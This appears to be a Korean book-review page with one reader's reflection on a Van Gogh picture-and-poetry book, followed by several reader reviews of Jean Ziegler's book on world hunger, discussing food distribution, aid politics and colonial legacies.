         언제였지? 고흐를 처음 만난 날이. 내겐 기억의 조각들로만 남아있는 그 날이 언제였는지 잘 생각이 나지 않는다. 어쨋든 꽤 어렸을 때였단 기억, 난 도대체 어디서 고흐를 본 걸까? 유럽에 갔을 때는 아니었던 것 같다. 그보다 훨씬 전, 고흐를 만났던 기억. 도대체 언제였을까?


         가끔 연말 시상식을 보면서 혹시나 내가 누군가 앞에서 소감을 말할 때가 온다면 난 이렇게 말하지 않을까라고 생각했다. "제게 예술적 영감을 주신 고모에게 감사드려요." 조카를 유난히도 예뻐하는 싱글족인 고모덕에 난 내 주위의 또래 애들에 비해 꽤 어렸을 때 부터 다양한 문화 활동을 누릴 수 있었다. 고흐를 처음 만났을 때도 난 고모의 손을 잡고 있었다. 고모는 나를 데리고 미술관 곳곳을 걸어다니며 그의 예술에 대해 말해 주었지만, 기억의 조각들 중 아직도 선명하게 남아있는 것은 내가 그의 그림 앞에서 아무 말도 할 수 없었다는 것이다.  그림이라는 것이 뭔지, 명화라는 것이 뭔지 지금도 잘 모르겠고 그 때는 더 몰랐겠지만 그냥 그 그림이 뿜어내는 기운에 한 없이 몽롱해지는 그런 기분.


         보통은 많은 사람들이 가장 좋아하는 XX로 뽑는 것은 난 피하고 싶어하지만, 그럼에도 가장 좋아하는 화가를 뽑을 땐 고흐를 놓을 수 없었던 것은 어린 시절 내가 느꼈던 고흐의 그림에 대한 무한 감동 때문이었으리라.


         그 후, 고흐에 대한 애정이 폭발한 것은 <반 고흐, 영혼의 편지>라는 책으로 인해서였다. 고흐를 사랑하는 사람 중, 이 책을 만나보지 않은 사람이 있다면 꼭 한 번 추천해 주고싶은 책이다. 동생 테오에게 그가 보낸 편지들로 꾸려져 있는 이 책에는 그의 고독과 예술혼이 가득 배여 있었다. 그림에서 느껴졌던 작가의 마음을 글로서 만나는 순간은 실지로 감동이었다.


     


         그리고 꽤 오랜만에 고흐를 소재로 한 책을 만났다. 열정의 색, 딱 그 말이 어울릴 것 같은 색채를 뿜는 고흐의 그림과 메릴린 챈들러 맥엔타이어의 서정적인 시, 그리고 노경실의 글까지 잘 어우러졌다. 한국, 미국, 네덜란드의 색이 이렇게 잘 어울릴 수 있다니. 유난히도 열정적인 고흐의 그림이 그들을 하나로 묶었다고 해야할까?


         이 책을 뭔가로 비유하라면 삼합으로 해야 될 것 같다. 묵은지와 잘 삭은 홍어와 삼겹살과의 미묘한 궁합. 뭔가 어울리지 않는 것 같은 배합이지만 이 책을 읽는 내내 맛집으로 소문 난 식당의 삼합이 떠올랐다.


     


         좀 더 많은 그림을 보고 싶었지만, 생각보다 많은 그림이 실려있진 않아서 조금 아쉬웠다. 하지만 보통 책에선 독자의 이목을 끌기 위해 유명한 작품들을 수록하지만, 이 책에는 그다지 유명하지 않은 그림도 많이 싫어놓고 오히려 고흐의 유명한 작품들을 상당수 빼 버렸다는 것이 독특했다. 고흐를 잘 알지 못했던 사람에게도, 겉핥기로만 알고 있던 사람에게도 좀 더 깊게 고흐를 만날 수 있는 기회를 제공하는 책이다. 나 역시도 내가 좋아하는 몇몇 작품들을 타인의 시선과 함께 다시 느껴볼 수 있었고, 또 내가 만나보지 못했던 몇몇 작품들도 새롭게 알 수 있었다.


         그림이나 화가에 대한 정보를 상식의 차원에서 알고 싶다면 이 책은 그런 의도와는 조금 거리가 있겠지만, 어차피 예술이라는 것은 머리로라기보다 마음으로 받아들이는 것이 아닐까. 이 책을 통해 고흐의 예술 세계를 마음으로 먼저 느껴보고, 타인의 시선도 함께 공유해보는 것도 좋은 경험이 될 것이라고 생각한다.


    리뷰줄이기
  • [인권] 왜 세계의 절반은 굶주리는가? : 유엔 식량특별조사관이 아들에게 들려주는 기아의 진실 ★★★★
    오로지 관객 | 2009년 03월 29일
    너무 광고를 많이 하기에 말초신경을 자극하는 그저그런 책이려니 싶어서 안사고 버티고 있었다. 그러나 얼마 못버티고 사게 된 책이 이 책이다. 역사와 타 국가의 전쟁에 대해 TV에 나와도 눈을 돌려버리거나 관심 없어했던 나였건만 어떤 극적인 계기도 없었는데, 어느 사이 읽는 책들이 전쟁, 어린이, 이라크, 팔레스타인, 기아 등에 관련된 책이었다. 이런 책들을 인권이라는 이름으로 묶어 책장을 만들어 놓았었다. 그러다가 이 책을 읽었는데, 기아에 대한 총정리랄까? 얼마나 비 현실적인 일이 세상에 벌어지고 있는지 아들...
    더 보기
    너무 광고를 많이 하기에 말초신경을 자극하는 그저그런 책이려니 싶어서 안사고 버티고 있었다. 그러나 얼마 못버티고 사게 된 책이 이 책이다. 역사와 타 국가의 전쟁에 대해 TV에 나와도 눈을 돌려버리거나 관심 없어했던 나였건만 어떤 극적인 계기도 없었는데, 어느 사이 읽는 책들이 전쟁, 어린이, 이라크, 팔레스타인, 기아 등에 관련된 책이었다.

    이런 책들을 인권이라는 이름으로 묶어 책장을 만들어 놓았었다. 그러다가 이 책을 읽었는데, 기아에 대한 총정리랄까? 얼마나 비 현실적인 일이 세상에 벌어지고 있는지 아들과 대화하는 형식으로 쉽게 풀어나간 책이다. 굶주림에 장사 없다. 가난은 나랏님도 어찌하지 못한다고 했던가? 그러나, 꽤 큰 나라 나랏님들과 꽤 큰 기업의 사장님들이 어찌할 수 있는 일을 더 어렵게 만들고 있는 것이 아닌가라는 생각을 해본다.

    안타깝다는 생각이지만, 결심하고 돕기에는 힘이 부족하다는 생각이 들긴한다. 내가 기부로 도와준다고 해도 그게 잘 쓰일지도 의문이 생긴다. 그러나, 티끌모아 태산이라도 한푼 두푼 모아 누군가를 도와야 할때가 아닐까? 그리고 알고 있는 것도 힘이기에 이런 종류의 책은 널리 돌려보는 것도 좋지 않을까 생각한다.
    2007.05.18

    리뷰줄이기
  • 인류 최대의 적은 굶주림
    agnes | 2009년 07월 22일
     저는 태어나서 내일 먹을 것을 걱정해 본 적이 없습니다. 집이 잘 사는 것은 아니지만 매일 끼니를 제대로 챙겨 먹을 정도의 수준은 되는 덕분이죠. 그리고 21년 인생을 살면서 제 주변에 집이 너무 가난해서 밥을 못먹고 다니는 사람들이 없었답니다. 그저 가끔 지하보도에 자리를 깔고 누우신 노숙자분들을 볼때면 이분들 참 힘들게 살겠구나 하는 생각은 들지만, 딱 거기까지 였습니다. 거기서 생각을 더 확장시켜 나가지 못했었어요. 제가 너무 배고픔과 굶주림에 대해 몰랐던 겁니다. 학교에서 환경오염이 심각하다는 둥, 점점...
    더 보기
     저는 태어나서 내일 먹을 것을 걱정해 본 적이 없습니다. 집이 잘 사는 것은 아니지만 매일 끼니를 제대로 챙겨 먹을 정도의 수준은 되는 덕분이죠. 그리고 21년 인생을 살면서 제 주변에 집이 너무 가난해서 밥을 못먹고 다니는 사람들이 없었답니다. 그저 가끔 지하보도에 자리를 깔고 누우신 노숙자분들을 볼때면 이분들 참 힘들게 살겠구나 하는 생각은 들지만, 딱 거기까지 였습니다. 거기서 생각을 더 확장시켜 나가지 못했었어요. 제가 너무 배고픔과 굶주림에 대해 몰랐던 겁니다. 학교에서 환경오염이 심각하다는 둥, 점점 이 세상에 이기주의가 만연해간다는 식의 우려와 걱정은 많이 들어왔습니다. 하지만 공교육 12년동안 '기아'라는 주제를 만난 적은 거의 없는 것 같군요. 제 자신의 무지를 딴데로 돌리려는 변명으로 들릴 수도 있겠지만, 기아라는 것을 자연스럽게 접할 통로가 없으니 자연히 관심도 없어지고, 막연한 추상적 개념이 되는 게 아닐까요?

      이 책의 저자 장 지글러씨는 유엔 식량 특별 조사관입니다. 맨 앞 해제를 쓴 우석훈 교수님에 따르면 우리 나라에 지글러씨에 버금가는 기아 전문가는 없다고 합니다. 저는 그래서 학교 대신 이분에게 기아에 대한 강의를 듣겠노라 마음먹고 책장을 넘겼습니다. 전문가는 꼭 쉬운 것을 어렵게 말한다? NO! 이 책에선 저자의 아들인 카림을 청자로 설정하고 그가 질문한 내용에 답변해주는 형식을 취하고 있습니다. 물론 그 답변은 누구나가 다 이해할만한 수준의 글이었죠. 굶주림의 현실, 생과 사를 다투는 그 현장에 대한 이야기를 먼저 펼치고 점점 더 심도있게 나아갑니다. 기아의 원인은 어떤 것들이 있는지, 과거에는 어떻게 기아에 대처했고 지금은 어떻게 대처하고 있는지, 그리고 그 대처 방안에는 무슨 문제점이 있는지까지.

      실제로 현재 지구상에는 세상 모든 사람들을 배불리 먹이고도 남을 식량이 생산되고 있다고 합니다. 그러면 왜 기아가 생기는 걸까요? 그 많은 식량들이 골고루 분배되지 않기 때문이죠. 이윤을 남기고 곡물을 팔려고 하는 거대 회사들은 돈이 없는 나라들에게 팔지 않고 오히려 재고를 쌓아두는 쪽을 택합니다. 결국 곡물은 남아도는데 가난한 나라의 사람들은 굶을수밖에 없습니다. 이것 뿐인가요? 그 나라의 독재정권이 그 권력을 계속 유지하기 위해 기아를 이용하거나 식량을 이용하는 경우도 허다합니다. 북한의 예를 들어보면, 북한의 많은 국민들은 나라에서 주는 배급으로 끼니를 이어갑니다. 나라에서 배급을 주지 않는다면 굶어 죽게 되니까 사람들은 정부의 말을 잘 따를 수밖에 없어요. 외부에서 식량 원조를 해주더라도 그건 결국 정부의 손에 들어가게 되기 때문에 그들의 권력을 더 강화시켜주는 꼴이 될 수도 있습니다. 또한 기상적 요소도 그 나라의 곡물 산출량을 줄여 기아를 초래할 수도 있죠. 비가 내리지 않거나 비가 너무 많이 와서 수해를 입으면 당장 먹을 것이 부족해지는 것은 당연한 일 아니겠어요? 이렇게 사람을 굶주리게 할 수 있는 요소들은 언제나, 어디에나 존재하고 있었습니다. 

      기아 문제의 원인이 꼬리에 꼬리를 물어 점점 복잡해져갑니다. 마지막에 다다른 지점은 전 세계 모든 사람들의 의식이 변화하지 않고서는 지구상에서 기아가 사라질 수는 없다는 것이었죠. 슬프고 무기력한 결론이었습니다. 세상을 돌아가게 하는 시스템이 이윤만을 추구하고 남의 복지를 생각하지 않는다면 굶어 죽는 사람들은 나타나기 마련이라는 겁니다. 그런 시스템을 고안해 내는 것은 다름아닌 인간이니까 인간이 바뀌지 않으면 시스템이 바뀌지 않고 시스템이 바뀌지 않으면 기아는 계속 될 것이라는... 예전같았으면 '이런 결론이 어디있어! 너무 무책임하잖아!'라고 불평을 터뜨렸을지도 모르겠네요. 하지만 이 책을 읽고 나니 그게 진정한 해결책이고 다른 것들은 전부 미봉책에 불과하다는 사실을 알게 되었습니다.

      항상 끝이 보이지 않는 상황이더라도 내가 할 수 있는 일을 해야겠다고 생각하는 저는 마음이 불편했습니다. 오히려 잘 모르는 사람의 도움이 문제를 더 악화시킬 수 있다는 것을 알게 되어서인지, 아니면 지금 내가 기아 해결을 위해 할 수 있는 일이 없다는 것 때문인지는 잘 모르겠습니다. 둘 다 일수도 있겠군요. 제대로 알아보지도 않고 도움을 줘야 한다고 생각했던 제 자신이 위선적으로 느껴지기도 했죠. 그 사람들을 구해내겠다는 생각으로 한 일이 아니라 내마음 하나 편하작 한 일이 아니었을까 하는 생각이 들어서 말입니다.

      많은 분들이 이 책을 접해서 인식을 하루 빨리 바꿔나갈 수 있었으면 좋겠습니다. 지금 제가 할 수 있는 일을 굳이 찾자면 이 책을 많은 사람들에게 추천하고 기아를 눈앞에 맞닥뜨리게 하는 것이 아닐까 하네요. 또 저만의 편해지기 방식일지는 모르겠지만 말이죠..

    리뷰줄이기
  • 지구촌은 모두 하나다 기아, 지구촌
    깊은슬픔 | 2009년 09월 10일
    오늘도 아침에 퍼놓은 식은밥을, 두부와 호박을 썰어넣고 끓인 먹다남은 된장찌개를, 며칠전 무쳐 비빔밥 해먹고 냉장고에 뒹굴던 가지나물과 배추나물을 빨간색 음식쓰레기통으로 마구 쳐넣었다. 어떤 건 쉰내가 나고, 어떤 건 질렸다. 새로 끓인 김치찌개와 저녁을 먹지만 내일이면 김치찌개의 일부도 개수대를 거쳐 음식쓰레기통으로 들어가게 될 것이다. 이 죄많은 나에게 이 책이 가당키나 한가. [왜 세계의 절반은 굶주리는가?]를 읽으며 나는 살아온 한순간 한순간이 죄지은 느낌이었다. 커피 두 잔과 매실차 한 잔, 심심풀이로 빵...
    더 보기

    오늘도 아침에 퍼놓은 식은밥을, 두부와 호박을 썰어넣고 끓인 먹다남은 된장찌개를, 며칠전 무쳐 비빔밥 해먹고 냉장고에 뒹굴던 가지나물과 배추나물을 빨간색 음식쓰레기통으로 마구 쳐넣었다. 어떤 건 쉰내가 나고, 어떤 건 질렸다. 새로 끓인 김치찌개와 저녁을 먹지만 내일이면 김치찌개의 일부도 개수대를 거쳐 음식쓰레기통으로 들어가게 될 것이다. 이 죄많은 나에게 이 책이 가당키나 한가. [왜 세계의 절반은 굶주리는가?]를 읽으며 나는 살아온 한순간 한순간이 죄지은 느낌이었다. 커피 두 잔과 매실차 한 잔, 심심풀이로 빵과 비스킷 등등 쉬지 않고 입에 넣는 나는 얼굴은 모르지만 그들 앞에 분명 죄인이었다.  

    내가 TV앞에서 눈 깜빡이며 또 무언가 입에 쳐넣고 오물오물 거리는 동안 아프리카와 아시아, 라틴아메리카 대륙 각지 각국에서 5초에 한 명 꼴로 굶어 죽는 아동들이 있단다. 만성적 영양실조로 시력을 잃고 고통받는 사람들이 부지기수란다. 이 책은 유엔 식량특별조사관으로 활동했던 저자가 아들에게 들려주는 기아의 눈물어린 진실이다. 도대체 왜, 세계의 절반은 굶주리는걸까? 

    지금보다 어릴 때, 아프리카는 날이 더우니 일을 할 수 없어서, 일을 하고 싶어도 척박한 땅 때문에 농사를 지을 수 없어서, 애초에 발전가능성이 없어서, 거기다 발전하고자 하는 토착민들의 의지가 없어서 굶어죽을 수 밖에 없는 국가들이 옹기종기 모여있는 대륙인 줄로만 알았다. 아프리카라는 곳은 저주받은 땅이라서 그 곳 사람들은 어쩔 수 없이 죗값처럼 그 벌을 다 받으며 살아가는 게 당연한 줄로만 알았다. 내게 사하라는 도달 불능의 멋진 곳이고 가끔 로망이기도 했다. 무식하고 어리석었다. 

    이 책은 각지 각국의 기아실태를 보고하는 동시에, 지구촌이라는 명목아래 펼쳐지는 구호활동의 실상과 구호활동이 갖는 의미, 그럼에도 불구하고 기아문제가 전혀 나아지지 않을 수 밖에 없는 구조적 문제를 고발한다. 아들이 묻고 아버지가 대답하는 형태의 질의응답식으로 되어있어 이해가 쉽다. 지구상에 존재하는 인구의 2배를 먹여살릴 수 있다는 오늘날의 식량생산량에도 불구하고 세계의 절반에 해당하는 인구가 기아로 목숨을 잃는다는 사실을 받아들일 수 있는가. 거기에는 수많은 문제가 도사리고 있지만 사실상 해결 불가능한 것들이 대부분이다. 아니, 해결이 불가능한 문제가 아니라 해결할 수 있는 자들에게 해결할 마음이 없을 뿐이다. 잘먹고 잘입고 멀쩡하게 사는 사람이 굳이 골치아픈 문제에 뛰어들 필요는 없는 것 아닌가. 

    미국을 비롯한 선진국들은 절대적 빈곤에 시달리는 전 세계 기아들보다 자본주의 사회에서의 제 몸 불리기에 더 급급하다. 먹을 것이 많은 나라가 못 먹는 나라에게 먹을 것을 나눠주면 형평이야 맞춰지겠지만 한 국가내에서도 달성하기 힘든 제도를 지구촌에 적용시킬 수 있다고 생각하는 사람은 아무도 없다. 단지 이론적 해결에 그칠 뿐이다. 예를 들어 가격조절을 위해 수요, 공급의 형평을 맞춘답시고 곡식의 양을 필요한 만큼만 생산하도록 법으로 정한다든지, 멀쩡한 소와 돼지를 마구잡이로 도살처분하는 등 일련의 체제로 과잉 식량공급을 차단하려는 방법에서 기아문제를 해결할 마음이 없는 선진국의 본모습을 볼 수 있다. 

    만약 거론되는 모든 문제를 넘어서 민간구호단체들의 식량공급과 구조활동이 투입된다해도 그저 그걸로 다가 아니다. 이렇게 공급된 식량들은 정치적 도구로 위장되어 정부에 넘어가거나 무장단체들의 피습에 이용되기 일쑤다. 그런 면에서 오히려 구호활동이 피해가 될 수도 있는 현실이다. 이런 경우 정부와 테러단체의 공조로 인해 내전이나 전쟁 등으로 고스란히 피해를 입는 것도 이미 죽어가는 국민들이다. 하다못해 미국 같은 선진국은 식량원조를 핑계삼아 중동이나 아프리카 국가의 땅 속 깊숙히 묻힌 자원을 탐낸다. 때로 값싼 노동력을 제공받아 자국의 힘을 키울 생각에 앞서 있기도 하다. 이처럼 눈앞에 굶어죽어가는 목숨을 두고도 치장할 보석이 필요한 이들이 자신의 이익을 좇을 수 밖에 없는 사회가 바로 지금 지구촌에서 가장 힘있고 부유한 국가들이 자유롭고 민주적이라 믿는 자본주의다.

    타인의 고통에 함께 아파할 수 있는 유일한 생명체는 인간이라고 한다. 그런데 로드킬 당한 친구를 지키려고 위험한 도로를 배회하는 개보다 못한 생명체도 인간이다. 처음엔 한 달에 3만원이면 굶어죽는 아이 하나 살릴 수 있다는데 뿌듯한 마음으로 기부나 한 번 해볼까 했다. 적다면 적고 많다면 많지만 과자 몇 봉지 덜 먹고 차비 몇 번만 아껴 걸으면 충분히 낼 수 있는 돈이라고 생각했기 때문에 꼭 부자가 아니라도 도울 수 있겠고 여러 명이 도우면 TV에 나오는 삐쩍 마른 아이들 덜 굶어죽는 날이 오겠지 싶었다. 이 책은 그 단순한 생각이 얼마나 위험한지 잘 보여준다. 있으면서도 돕지 않고, 돕고 싶으면서도 도울 수 없는 구조적인 문제나 한정된 자원 아래 인간의 자멸을 막기 위해서라도 기아로 인한 의도된 죽음이 오히려 긍정적 영향을 끼친다는, 말이 될 것도 같은 논리까지 감히 상상할 수 없던 부분까지 조목조목 알려주는 셈이다.

    나는 충격이 컸고 그만큼 따뜻한 마음을 갖게 되었다. 그래도 모르는 것보다 아는 것이 낫다. 기아문제가 빠른 시일 내 해결 될 수도 없고, 그 문제가 해결되는 것을 바라지 않는 국가가 더 많다. 그들이 없어야 그 땅을 차지할 수 있기 때문이다. 하지만 작은 희망을 붙잡고 노력하는 사람이 분명히 있다. 움직이기 시작하면 달라진다고 했다. 세계의 절반이 굶주리는 이유는 상당부분 이기적인 욕심 때문이다. 기아문제를 해결하는 데는 많은 구조적, 절차적 걸림돌이 있겠지만 인간애에 호소하는 기본적 양심이 가장 정점이 될 것이다. 1초, 2초, 3초, 4초, 5초. 5초는 내가 살아있는 걸 느끼는 데도 부족할 만큼 짧다. 초롱초롱한 눈망울을 반짝이며 조막만한 손으로 빵 부스러기와 물 한 모금, 쌀 한 톨과 옥수수죽을 하염없이 기다리는 아이들이 죽어가는 시간이자 내 양심이 우는 시간이다. 지금 당장 무엇을 해야 할지 알지 못하지만 소리없는 외침이 들려오는 것만 같다. 살 수 있는데도 죽어갈 수 밖에 없는 수많은 눈동자들이 나의 게으름과 나태를 다그치고 또 다그친다. 눈물이 난다. 우리는 과연 인간일까?


    리뷰줄이기
  • 내가 너희땅에 태어났다면... 굶주림,기아,식량난,북한, 아프리카
    소일 | 2009년 10월 26일
      “돌려” “왜. 나 볼꺼야.” 티브이를 보고 있는 나와 엄마는 불쌍한 사람들의 이야기를 전하는 꼭지엔 꼭 실랑이가 일어나곤 했다. 굳이 꼭 봐야 직성이 풀리는 나와, 자신의 마음속에 불안과 죄책감, 동정심이 불러오는 상처를 억지로(?) 입지 않으려는 엄마는 보지 않았다. 매번 비슷한 장면들. 미디어를 통해서 보는 ‘참상’은 이제 눈감고도 그릴 정도다. 볼록한 배를 내밀고 힘없이 동그란 눈만 끔벅이는 아기. 제멋대로 눈가에 잔뜩 앉은 파리들. 돌이나 지났을듯한데 그 흔한 울음, 웃음을 볼 수가 없다...
    더 보기

     





    “돌려”


    “왜. 나 볼꺼야.”



    티브이를 보고 있는 나와 엄마는 불쌍한 사람들의 이야기를 전하는 꼭지엔 꼭 실랑이가 일어나곤 했다. 굳이 꼭 봐야 직성이 풀리는 나와, 자신의 마음속에 불안과 죄책감, 동정심이 불러오는 상처를 억지로(?) 입지 않으려는 엄마는 보지 않았다.



    매번 비슷한 장면들. 미디어를 통해서 보는 ‘참상’은 이제 눈감고도 그릴 정도다. 볼록한 배를 내밀고 힘없이 동그란 눈만 끔벅이는 아기. 제멋대로 눈가에 잔뜩 앉은 파리들. 돌이나 지났을듯한데 그 흔한 울음, 웃음을 볼 수가 없다. 그럴 힘조차 없는 것이다. 젖이 나오지 않는 엄마. 먹을 것이 없어서 흙을 말려서 쿠키를 만들어 주린 배를 채우는 사람들. 글을 읽을줄 아는 사람은 없고 학교에 다니는 것조차 꿈도 꾸기 힘든 아이들을 보면 무슨 생각을 하는가.


    우선 우린 행복하구나 축복받았구나 하며 하늘에 감사하는 ‘나’. 그리고는 적당히 기름지고 소박한 저녁을 먹고 그들은 꿈도 꾸지 못할 차를 몇 잔 마시고 모기로부터 해방된 갇힌 공간에서 편안하고 푹신한 잠자리에 몸을 뉜다.



    눈물짓지 않고 벗어날 길이 없다는 아프리카의 빈민 구조 활동은 탤런트들의 몫만은 아닐 것이다. 그들이 대중에게 파급하는 효과가 커서 이용(?)되는 것이다. 아주 열성적인 활동가가 아니라면 기껏 며칠, 아니 어쩌면 그 하루의 봉사가 자신에게 주는 만족으로 그칠지 모른다. 그 땅을 벗어나 있는 대부분의 사람들은 모른척하고 있고 일부는 순전히 자신의 행복을 위해서 좆기도 하고, 또 존경할만한 일부는 전체를 바꾸어 보고자 자신의 모든 것을 버리고 던져 힘을 모으려 하고 있다.



    왜?굶는것일까. 그들은. 그저 그런 운명에 영원히 놓여 있어야 할까?




    -왜? 그런데 (식량을) 못 먹는 거지? 올해도 쌀이 남아돌잖아. 미국도 유럽도 남아돌아서 땅에다 묻을 정도라는데 주면 되지 않아?


    -얘가? 모르면 가만있어. 그렇게 간단한 문제가 아니야. 우리도 올해 쌀이 남아서 버리게 생겼다는데 수십만이 굶어서 죽어간다는 북한에 한 톨도 주지 않고 있지 않니? 아프리카도 마찬가지야 그렇게 생각 없이 주었다가는 오히려 더 큰 화를 불러온다구.


    -주는 게 나쁠 수도 있어?


    -그럼, 예를 들어 독재국가에 지원할 경우라면 그 식량을 독재자와 주변의 기득권세력이 재물로 바꾸거나 식량을 팔아서 생긴 이윤을 독식하게 될 거고 혹시 물품지원을 하러가는 도중에 반군이라도 만나면 약탈을 당해서 게릴라군 들의 군량미로 들어가게 될지도 모를 일이라구.


    -어떡하지 그럼.


    -어쩔 수 없어. 멜서스라는 신학자가 이야기한 인구이론 들어봤지. 식량생산과 인구증가에 대한 이야긴데. 그 인간은 그래서 자연도태 되는, 다시 말해 굶어죽는 인간들이 있어야 지구상의 인류가 존속된다는 이론을 발표해서 오늘날의 강대국들이 자신들의 비지원을 합리화할 때 잘도 쓰이고 있지.


    -심각한 문제네


    -그렇지. 그럼에도 불구하고 학교에서는 ‘굶어죽는 사람들’에 대해 이야기하길 꺼려하고 있어. 왜냐하면 부끄럽기 때문이지. 수치심을 덮기 위해 언급조차 하지 않는 것이란다. 국제적 기업들은 못사는 나라들에서 이익을 뽑아내는데 에만 혈안이 되어 있어. 칠레의 살바도르 아옌데라는 지도자가 굶어죽는 아이들을 구하기 위해 국가가 분유를 지원하는 사업을 하려고 했어. 그런데 당시 ‘네슬레’가 칠레의 목축업을 기본으로 한 분유사업을 장악하고 있었거든. 국가가 살 테니 팔아라 했는데 안판거야. 그리고 정치적 로비를 통해서 아옌데정부를 흔든 거지. 파업을 조종하고 견제세력을 지원해서 말이지.


    -와, 비겁한데.


    -그래, 결국은 군부 구데타가 일어나서 그를 지지하고 함께했던 이들과 함께 총살당했지. 백주 대낮에 대통령관저에서 말이야.


    -암울하다. 우리나라의 과거도 떠오르고.



    책을 읽고 떠올린 내용의 대화는 책의 형식까지 빌려왔다.



    <왜 세계의 절반은 굶주리는가?>는 학자이며 활동가인 저자가 다년의 경험과 연구를 통해서 ‘과잉 생산되는 식량 속에서 기아로 죽어가는 다수’라는 지나친 모순에 대해 자신의 자식에게 묻고 답하는 형식을 빌어 누구나 알기 쉽게 역사적 사례들을 들어가며 설명해 놓았다.



    전쟁과 정의를 찾기 힘든 정치적 무질서, 구호조직의 활동과 현실의 딜레마, 부자들의 쓰레기로 겨우 연명하는 사람들, 소는 먹고 사람은 굶는 현실, 사막화와 산림파괴의 영향, 도시화와 식민지 정책, 불평등을 가중시키는 글로벌 금융과두지배구조의 현실을 이야기한다.


    이는 우리가 주변을 돌아볼 수 있는 기회를 준다. 하지만 여전히 나는 비관적이다. 나의 관심이 얼마나 그들에게 도움을 줄 수 있을까 하는 의문이 든다. 하지만 저자는 활동하고 알려서 이 땅의 여러 사람들의 의식이 바뀌어 가면 전 세계의 굶고 있는 아이들에게 희망을 심어줄 가능성을 믿는 모양이다. 쉽고 차분하게 이렇게 암울한 주제의 이야기를 열성적으로 외치는 것을 보면.



    리뷰줄이기
  • 누가 그들을 굶주리게 하는가 기아
    불꽃의노래 | 2016년 05월 07일
    가난은 구제하지 못해도 기아(飢餓)는 막을수 있다.     ‘가난은 나라님도 구제하지 못한다’고 한다. ‘가난’ 자체는 그럴지 모른다. 하지만 가난에서 파생된 ‘기아(飢餓)’는 막을 수 있다.       저자는 이를 현학적인 수사와 이론으로 설명하기 보다는 할아버지, 할머니가 손자, 손녀를 무릎에 앉히고 이야기를 들려주듯이 말한다.   그는 먼저 기아가 발생하고 있는 현실을 이야기한다.   “19세기 후반의 산업혁명으로...
    더 보기

    가난은 구제하지 못해도 기아(飢餓)는 막을수 있다.



     



     



    ‘가난은 나라님도 구제하지 못한다’고 한다. ‘가난’ 자체는 그럴지 모른다. 하지만 가난에서 파생된 ‘기아(飢餓)’는 막을 수 있다.



     



     



     



    저자는 이를 현학적인 수사와 이론으로 설명하기 보다는 할아버지, 할머니가 손자, 손녀를 무릎에 앉히고 이야기를 들려주듯이 말한다.



     



    그는 먼저 기아가 발생하고 있는 현실을 이야기한다.



     



    “19세기 후반의 산업혁명으로 생산량이 눈부시게 향상되어, 오늘날에는 19세기 같은 ‘물질적 결핍’이 사라지게 되었지. 하지만 벌써 사라졌어야 할 기아문제는 아직도 해소되지 못하고 있어. 아니, 오히려 그 반대야. 굶주림은 비극적인 방식으로 더 심해지고 있어.



     



    현재로서는 문제의 핵심이 사회 구조에 있단다. 식량 자체는 풍부하게 있는데도, 가난한 사람들에게는 그것을 확보할 경제적 수단이 없어. 그런 식으로 식량이 불공평하게 분배되는 바람에 안타깝게도 매년 수백만의 인구가 굶어 죽고 있는 거야.1)



     



    즉, 과거에는 생산량 자체가 부족했기 때문에 기아를 막지 못한, 어떻게 보면 천재지변과 같은 측면도 있었다면, 현재는 생산량이 충분하지만 사회구조 때문에 불균등한 분배가 이루어져 기아가 발생한다는 것이다.



     



     



     



    이것은 저자가 “지구는 현재보다 두 배나 많은 인구도 먹여 살릴 수 있어. 오늘날 세계 인구는 60억 정도 되지. 하지만 1984년 FAO의 평가에 따르면, 당시 농업 생산력을 기준으로 계산하여 지구는 120억의 인구를 거뜬히 먹여 살릴 수 있다는 거였어. 먹여 살린다는 의미는 남녀노소 가리지 않고 지구상의 모든 사람들에게 하루 2,400~2,700 칼로리 정도의 먹을 거리를 공급할 수 있다는 얘기2)”라고 하는 것에서도 알 수 있다.



     



     



     



     



     



    누가 기아를 유발하는 사회구조를 지지하는가



     



     



     



    앞에서 저자가 말한 것만 보면 과잉 생산된 곡물을 극빈국(極貧國)에 무상으로 제공하면 기아문제가 쉽게 해결될 것이라고 느낄 수도 있다.



     



     



     



    하지만, 문제는 그렇게 단순하지 않다.



     



    1954년 미국은 잉여농산물 재고 처리 등을 목적으로 ‘농업교역 발전 및 원조법(소위 ‘PL 480호’)’을 제정하고 이에 근거하여 잉여농산물을 원조하였다. 한국의 경우에도 처음에는 무상원조 형식으로, 나중에는 장기 저리의 차관 형식으로 잉여농산물을 지원받아 ‘보릿고개’로 대표되는 심각한 식량사정을 완화할 수 있었다.



     



    그러나 저렴한 잉여농산물이 대량으로 도입되면서 농산물가격은 크게 하락하였고, 밀과 면화 생산이 타격을 받아 농업 기반이 파괴되었다.



     



    당장의 굶주림을 벗어나기 위해 종자(種子)를 먹어 치운 격이다.



     



     



     



    만약 “돌발적이고 급격한 일과성의 경제적 위기로 발생3)”하는 ‘경제적 기아’라면 이러한 원조가 의미가 있고 효과가 있을 것이다. 하지만, “그 나라를 지배하고 있는 사회구조로 인해 필연적으로 빚어지는4)” 장기간에 걸친 식량공급의 지체로 인한 ‘구조적 기아’라면 이야기가 다르다. 이 경우 외부의 원조만으로는 벗어날 수 없기 때문이다.



     



    사회구조를 바꾸고, 어떻게든 식량의 자립을 이루어야 한다.



     



     



     



    하지만 사회구조를 바꾸는 것은 쉽지 않다. 여기 저기에 장애물이 있기 때문이다. 예컨대 옛 식민지 국가들의 오랜 식민지생활을 통해 형성된 경제적 종속문제도, 북한의 김일성 일가나 기니 공화국의 아메드 세쿠 투레(Ahmed Sékou Touré, 1922~1984)처럼 자신의 독재에 반대하는 이를 수용소로 추방하여 굶주리게 하는 방식으로 기아를 이용하는 권력자의 문제가 그것이다. 



     



    영양실조에 시달리는 아이들에게 하루 0.5리터의 분유를 무상 배급하겠다던 칠레의 살바도르 아옌테(Salvador Allende, 1908~1973) 정부의 공약(公約)을 공약(空約)으로 만든 스위스의 다국적 기업 네슬레의 경제적 협력 거부5)처럼 기존의 특권이 침해되었다고 느낀 다국적 기업의 간접적 방해공작도 이러한 장애물 가운데 하나다.



     



     



     



     “(유럽인의 침략이 시작되기 전까지) 아프리카의 농민이나 목축민들은 현지의 권력자에게 상납하고 자신들이 소비하기에 충분한 식량을 생산했어. 하지만 유럽인들이 도착하면서 모든 것이 뒤죽박죽 되고 말았지. 유럽에는 공업이 발달하여, 대량의 농산물을 사들일 구매자들이 있었어.



     



    그래서 식민지의 권력자들은 아프리카의 농민들에게 유럽의 기업이 필요로 하는, 즉 유럽시장에서 소비될 수 있는 작물을 경작하도록 했어.6)



     



